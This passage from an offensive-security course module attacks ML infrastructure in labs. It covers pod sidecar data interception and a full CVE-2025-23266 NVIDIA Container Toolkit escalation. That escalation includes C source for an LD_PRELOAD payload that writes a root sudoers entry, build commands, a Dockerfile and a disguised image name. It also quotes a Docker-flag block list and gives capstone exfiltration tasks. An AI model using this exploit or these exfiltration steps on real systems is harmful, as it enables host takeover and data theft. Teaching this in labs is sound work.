          "mountPath": "/var/log/pipeline",
          "readOnly": false
        },
        {
          "name": "kube-api-access-kz8z9",
          "mountPath": "/var/run/secrets/kubernetes.io/serviceaccount",
          "readOnly": true
        }
      ]
    },
    {
      "name": "inference",
      "ports": [
        8080
      ],
      "volumeMounts": [
        {
          "name": "model-artifacts",
          "mountPath": "/models",
          "readOnly": true
        },
        <cr>{
          "name": "request-queue",
          "mountPath": "/queue",
          "readOnly": false
        }</cr>,
        <cr>{
          "name": "credentials",
          "mountPath": "/secrets",
          "readOnly": true
        }</cr>,
        {
          "name": "logs",
          "mountPath": "/var/log/pipeline",
          "readOnly": false
        },
        {
          "name": "kube-api-access-kz8z9",
          "mountPath": "/var/run/secrets/kubernetes.io/serviceaccount",
          "readOnly": true
        }
      ]
    },
    {
      "name": "post-processor",
      "ports": [
        8082
      ],
      "volumeMounts": [
        <cr>{
          "name": "request-queue",
          "mountPath": "/queue",
          "readOnly": false
        }</cr>,
        {
          "name": "logs",
          "mountPath": "/var/log/pipeline",
          "readOnly": false
        },
        {
          "name": "kube-api-access-kz8z9",
          "mountPath": "/var/run/secrets/kubernetes.io/serviceaccount",
          "readOnly": true
        }
      ]
    },
    {
      "name": "log-collector",
      "ports": [],
      "volumeMounts": [
        {
          "name": "logs",
          "mountPath": "/var/log/pipeline",
          "readOnly": true
        },
        {
          "name": "kube-api-access-kz8z9",
          "mountPath": "/var/run/secrets/kubernetes.io/serviceaccount",
          "readOnly": true
        }
      ]
    }
  ],
  "volumes": [
    "model-artifacts",
    "request-queue",
    "logs",
    "config",
    "credentials",
    "kube-api-access-kz8z9"
  ]
}

Listing 54 - Model Pipeline Pod Architecture with Shared Volumes

The output tells us a few things. First, there's an init container called model-loader that ran before the main containers started. Init containers often pull data or configure the environment, so the /models volume it populated is worth investigating later. The pod has four running containers, and since Kubernetes doesn't distinguish between main and sidecar containers, we infer roles from the names, ports, and volume mounts. The inference container on port 8080 is likely the primary workload — it has the most volume mounts, including a credentials secret at /secrets that no other container can see.

The request-queue volume is mounted with readOnly: false in three containers. Any of them could tamper with data before it reaches the others. The log-collector is the most restricted, with read-only access to logs.

Since inference-sa has exec access to any pod in any namespace, we can drop into the pre-processor sidecar and examine the shared data.

aisha@workstation:~$ <cu>kubectl exec -it model-pipeline -c pre-processor -n ml-inference -- /bin/sh</cu>
$ <cu>ls /queue/</cu>
requests
$ <cu>cat /queue/requests/req_test-001.json</cu>
{"tokens": ["vehicle", "collision", "at", "highway", "intersection"], "length": 5, "original": "vehicle collision at highway intersection", "request_id": "test-001"}

Listing 55 - Accessing the Shared Request Queue from the Pre-Processor Sidecar

We can read the inference request data flowing through the pipeline. This is a live interception point — every safety incident report that gets classified passes through this queue as tokenized data. From this sidecar, an attacker could:

Read all incoming classification requests (data exfiltration)
Modify requests before the inference container reads them (for example, replacing "critical" keywords with "routine" ones to force misclassification)
Inject fake requests to probe the model's behavior
Write to the shared log volume to cover tracks or inject false audit entries

With this level of access, we can compromise the integrity of the ML inference pipeline or exfiltrate sensitive data from the system. We'll pause this scenario here to explore one more attack surface: GPU isolation vulnerabilities.

So far we have moved through the orchestration layer, from RBAC misconfigurations and namespace pivots to live data interception inside sidecar containers. Each of these attacks targeted Kubernetes abstractions. Now we'll shift deeper in the stack to the compute hardware itself. When containers need GPU acceleration, the runtime grants direct access to device memory and driver interfaces that sit outside the kernel's normal isolation boundaries, and that opens an entirely different class of attack surface.

The model-pipeline pod has a container that serves the incident classification model. Exec into it and find the model configuration file. What ML framework is the model built with, and what version of the model is deployed?
Inspect the files that the init container wrote to the /models volume. Beyond the model binary and configuration, what else did the init container leave behind? Explain why this is a security concern and how an attacker could exploit it.

Container Security in AI Workloads

Please check the attached video named container_security_in_ai_01.mp4

ML workloads running on GPUs face standard container threats plus GPU-specific risks. Without proper isolation, co-tenant workloads can observe each other through VRAM, residual data persists between allocations, and GPU runtime vulnerabilities can lead to host escape.

Let's assume a new scenario; we've landed on a GPU-accelerated host where two ML inference workloads share a single Tesla T4. Our foothold is a shell session as a restricted ML engineer account with limited privileges. The organization controls GPU container operations through wrapper scripts that filter dangerous Docker flags. Let's see how far we can go from this constrained starting point, focusing on the attack surface that GPUs introduce.

The Linux kernel isolates CPU and memory via cgroups, but GPUs are controlled entirely in userspace through the NVIDIA Container Toolkit. The kernel's cgroups v2 controller list covers CPU, memory, I/O, PIDs, and cpuset, but no GPU controller exists. GPU isolation instead depends on userspace runtime hooks and libraries, not kernel enforcement. Vulnerabilities in this userspace layer bypass container boundaries entirely. That's the attack surface we'll exploit.

GPU vendors have started addressing this gap at the silicon level. NVIDIA's Multi-Instance GPU (MIG), available on A100 and newer Ampere and Hopper chips, carves a single GPU into physically isolated instances with dedicated compute, memory, and cache. AMD offers similar spatial partitioning on the Instinct MI300X through its chiplet architecture, and Intel uses Single-Root I/O Virtualization (SR-IOV) on the Data Center GPU Flex series for hardware-enforced VM-level isolation. These technologies require specific modern chipsets and aren't available on older Turing and Volta GPUs, which are still widely used in infrastructure today.

We'll begin this engagement with SSH access to the GPU host as robertj, a junior ML engineer at Ridgeline Autonomous. Our first task is understanding exactly what this account can do.

robertj@ip-172-31-77-16:~$ <cu>id</cu>
uid=1002(robertj) gid=1002(robertj) groups=1002(robertj)
robertj@ip-172-31-77-16:~$ <cu>sudo -l</cu>
Matching Defaults entries for robertj on ip-172-31-77-16:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User robertj may run the following commands on ip-172-31-77-16:
    (root) NOPASSWD: /opt/ridgeline/tools/gpu-build.sh,
                     /opt/ridgeline/tools/gpu-run.sh

Listing 56 - Enumerating Robertj Privileges

The id output confirms we aren't in the docker group, so we can't interact with Docker directly. The sudo -l output is more interesting. We can run two wrapper scripts as root without a password: gpu-build.sh and gpu-run.sh. They look like Ridgeline's sanctioned tools for running GPU workloads. Let's read the scripts to understand what they actually do.

#!/bin/bash
# Ridgeline Autonomous — Safe GPU Container Launcher
# Runs containers with GPU access. Dangerous flags are blocked.
# Contact: platform-ops@ridgeline.megacorpone.internal
#
# Usage: sudo /opt/ridgeline/tools/gpu-run.sh <image> [command...]
#
# Approved: JIRA-4892 (Aisha Kone, 2025-12-03)
# Review:   JIRA-5104 (Sanjay Raman, 2026-01-15)
set -e

for arg in "$@"; do
    case "$arg" in
        --privileged)
            echo "ERROR: --privileged is blocked by security policy"
            exit 1 ;;
        --pid=*)
            echo "ERROR: --pid is blocked by security policy"
            exit 1 ;;
        --net=host|--network=host)
            echo "ERROR: host networking is blocked by security policy"
            exit 1 ;;
        --cap-add=*)
            echo "ERROR: --cap-add is blocked by security policy"
            exit 1 ;;
        -v|--volume=*|--mount=*)
            echo "ERROR: host volume mounts are blocked by security policy"
            exit 1 ;;
        --security-opt=*)
            echo "ERROR: --security-opt is blocked by security policy"
            exit 1 ;;
    esac
done

if [[ $# -eq 0 ]]; then
    echo "Usage: gpu-run.sh <image> [command...]"
    echo "Runs a container with --rm --runtime=nvidia --gpus=all"
    exit 1
fi

exec docker run --rm --runtime=nvidia --gpus=all "$@"

Listing 57 - The Gpu Run Wrapper Script

The wrapper iterates over our arguments and blocks the usual breakout flags: --privileged, --pid, --net=host, --cap-add, volume mounts, and --security-opt. If nothing triggers the blocklist, it runs docker run with --runtime=nvidia and --gpus=all. This is a reasonable attempt at hardening. The script filters runtime flags, but has no control over what goes into a Dockerfile, specifically the ENV directives that set environment variables inside the image. We'll come back to that observation shortly.

Next, we can fingerprint the GPU runtime stack. The NVIDIA Container Toolkit manages how containers access GPU hardware, so its version matters.

robertj@ip-172-31-77-16:~$ <cu>dpkg-query -W nvidia-container-toolkit</cu>
nvidia-container-toolkit	1.17.7-1
robertj@ip-172-31-77-16:~$ <cu>runc --version</cu>
runc version 1.2.6
commit: v1.2.6-0-ge89a2992
spec: 1.2.0
go: go1.23.7
libseccomp: 2.5.5
robertj@ip-172-31-77-16:~$ <cu>grep cuda-compat-mode /etc/nvidia-container-runtime/config.toml</cu>
cuda-compat-mode = "hook"

Listing 58 - Toolkit and Runc Version Discovery

We match toolkit version 1.17.7, runc 1.2.6, and cuda-compat-mode: hook against NVIDIA security bulletins and land on CVE-2025-23266. The vulnerability chains two bugs: (1) runc copies container environment variables into its own process before spawning OCI hooks, and (2) the toolkit's CUDA compatibility hook inherits that polluted parent environment instead of starting clean. Together, these let us inject LD_PRELOAD into the hook's environment.

The attack is straightforward: we set LD_PRELOAD in the image's ENV to point to a malicious library. During container creation, runc copies that variable into its own process, the hook inherits it, and the dynamic linker loads our library on the host as root. The wrapper script's checks don't matter because the exploit fires before the container even starts.

Figure 7: CVE-2025-23266 Exploit Chain

We need a minimal shared library that runs a constructor function when loaded. The gcc compiler is available on the host, so we'll write a small C payload. The constructor unsets LD_PRELOAD to prevent recursive loading, then writes a sudoers entry granting our user passwordless root access.

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>

#define SUDOERS "/etc/sudoers.d/cuda-compat-update"

__attribute__((constructor))
static void init(void) {
    unsetenv("LD_PRELOAD");
    FILE *f = fopen(SUDOERS, "w");
    if (f) {
        fprintf(f, "robertj ALL=(ALL) NOPASSWD: ALL
");
        fclose(f);
        chmod(SUDOERS, 0440);
    }
}

Listing 59 - Shared Library Payload Source

Let's name the file cuda_compat_shim.c and compile it into a shared library. The naming blends with the legitimate CUDA compatibility components that the toolkit already manages.

robertj@ip-172-31-77-16:~$ <cu>mkdir -p /tmp/cuda-compat-build</cu>

robertj@ip-172-31-77-16:~$ <cu>nano  /tmp/cuda-compat-build/cuda_compat_shim.c</cu>

robertj@ip-172-31-77-16:~$ <cu>gcc -shared -fPIC -nostartfiles \
    -o /tmp/cuda-compat-build/cuda_compat_shim.so \
    /tmp/cuda-compat-build/cuda_compat_shim.c</cu>

Listing 60 - Compiling the Shared Library Payload

The exploit image is just three lines. We start from busybox (no GPU runtime needed), set the LD_PRELOAD environment variable pointing to our library via /proc/self/cwd/, and copy the compiled .so in.

robertj@ip-172-31-77-16:~$ <cu>nano /tmp/cuda-compat-build/Dockerfile</cu>
FROM busybox
ENV LD_PRELOAD=/proc/self/cwd/cuda_compat_shim.so
ADD cuda_compat_shim.so /

Listing 61 - Three Line Exploit Dockerfile

The path /proc/self/cwd/cuda_compat_shim.so is important. When the toolkit hook runs, its working directory is the container's root filesystem. The /proc/self/cwd symlink resolves to that directory on the host, letting the dynamic linker find our library even though it only exists inside the container image.

We build the image through the approved wrapper and trigger it. The image name cuda-compat-hotfix looks like a routine toolkit patch.

robertj@ip-172-31-77-16:~$ <cu>sudo /opt/ridgeline/tools/gpu-build.sh \
    -t cuda-compat-hotfix \
    -f /tmp/cuda-compat-build/Dockerfile \
    /tmp/cuda-compat-build/</cu>
...
Successfully tagged cuda-compat-hotfix:latest

robertj@ip-172-31-77-16:~$ <cu>sudo /opt/ridgeline/tools/gpu-run.sh cuda-compat-hotfix echo done</cu>
done

Listing 62 - Building and Running the Exploit Image

The wrapper readily builds and runs our image. It checks for --privileged and --volume, not for environment variables in a Dockerfile. The exploit fires during container creation, before the container process itself starts. Let's verify the results.

robertj@ip-172-31-77-16:~$ <cu>sudo -l</cu>
...
User robertj may run the following commands on ip-172-31-77-16:
    (ALL) NOPASSWD: ALL
    (root) NOPASSWD: /opt/ridgeline/tools/gpu-build.sh,
                     /opt/ridgeline/tools/gpu-run.sh


robertj@ip-172-31-77-16:~$ <cu>sudo -i</cu>
root@ip-172-31-77-16:~#

Listing 63 - Verifying Root Escalation

The sudoers drop file is in place, named to blend with legitimate CUDA compatibility components. It grants robertj unrestricted passwordless sudo. Running sudo -i gives us a root shell.

After escalating privileges, get the proof of root access by reading the contents of the file /root/flag.txt. What is the flag?

Capstone Scenario - Hybrid Deployment

In this capstone scenario, we combine all the techniques from the previous Learning Units into a single engagement. The scenario targets UrbanPulse, a fictional company that provides real-time traffic incident classification using a hybrid deployment. UrbanPulse runs AWS for training and on-premises Kubernetes for serving and development.

We start with initial access to the on-premises Kubernetes cluster from the workstation of an engineer. Our task is to escalate privileges, pivot to the AWS training environment, and exfiltrate information from the database to an exfiltration bucket we control.

The lab provides the details to connect to the workstation via SSH with credentials mvidal:lab and the name of the exfiltration bucket when we start it.

Expand your execution context in the kubernetes realm. Press grade after you found a way to interact with the kubernetes API as a different user than the initial access. The grader will evaluate the action of switching to a new execution context.
Leverage your new execution context to access sensitive resources across namespace boundaries. Press grade after you have retrieved credentials that enable access to external cloud services. The grader will evaluate the action of reading the credentials.
Escalate your privileges in the cloud environment. Press grade after you have "assumed" a more powerful identity than the one you initially discovered. The grader will evaluate the existence of a resource that you'll need to escalate gain new privileges.
Leverage your new foothold to exfiltrate the platform PostgreSQL database. Download all the data and upload it to the pulseml-exfil-[suffix] bucket as dump.csv files. The grader will evaluate the existence of the data and its content, it can be one file or many files. The important check is the integrity of the content.
(Extra Mile) Abuse your execution privileges in the Kubernetes cluster to gain root-level access on a worker node. Create the file /root/proof.txt on worker-platform. You can exploit any worker node but the grader will check the existence of the file only on worker-platform.

Wrapping Up

In this Learning Module, we covered attacks against the infrastructure that powers AI and ML deployments. First, we exploited cloud service misconfigurations, chaining IAM roles to escalate privileges across managed ML platforms. We then hunted for secrets in storage services, logging systems, and artifact registries. The second Learning Unit moved into container and orchestration attacks, where we abused Kubernetes RBAC gaps and service account tokens to chain identities across namespaces. From there, we deployed privileged workloads and escaped container boundaries through GPU passthrough vulnerabilities.

AI infrastructure inherits every weakness of the cloud and container platforms it runs on, then introduces new ones. ML pipelines demand broad permissions, shared compute, and rapid iteration cycles. Those requirements steadily erode isolation boundaries. Defending these environments means scoping every service account and IAM role to least privilege, segmenting namespaces with strict admission policies, and treating model-serving endpoints as attack surfaces. When we encounter AI infrastructure in the field, we can leverage a systematic approach: enumerate trust relationships, follow credentials, and search for the gaps that automation left behind.

9 - AI Infrastructure and Deployment Exploits

Cloud Service Misconfigurations

Architecture Overview

Identity and Access Management weaknesses

Secrets and Credential Leakage

Exposed Endpoints and Data Stores

Container and Orchestration Exploits

Overview of Kubernetes and ML Deployments

Exploiting Kubernetes RBAC Misconfigurations

Escalating Privileges Through Identity Chaining

Abusing Multi-Container Pods in ML Pipelines

Container Security in AI Workloads

Capstone Scenario - Hybrid Deployment

Wrapping Up